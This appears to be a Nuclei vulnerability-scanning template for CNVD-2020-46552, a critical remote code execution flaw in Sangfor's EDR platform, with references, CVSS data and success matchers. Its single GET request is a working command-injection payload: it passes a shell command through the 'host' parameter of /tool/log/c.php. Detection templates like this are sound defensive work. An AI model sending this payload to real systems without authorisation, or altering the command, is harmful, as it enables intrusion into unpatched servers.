CNVD-2020-46552: Sangfor EDR - Remote Code Execution

id: CNVD-2020-46552

info:
  name: Sangfor EDR - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: Sangfor Endpoint Monitoring and Response Platform (EDR) contains a remote code execution vulnerability. An attacker could exploit this vulnerability by constructing an HTTP request which could execute arbitrary commands on the target host.
  reference:
    - https://www.modb.pro/db/144475
    - https://blog.csdn.net/bigblue00/article/details/108434009
    - https://cn-sec.com/archives/721509.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: cnvd,cnvd2020,sangfor,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/tool/log/c.php?strip_slashes=printf&host=nl+c.php"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "$show_input = function($info)")'
          - 'contains(body, "$strip_slashes($host)")'
          - 'contains(body, "Log Helper")'
          - 'status_code == 200'
        condition: and
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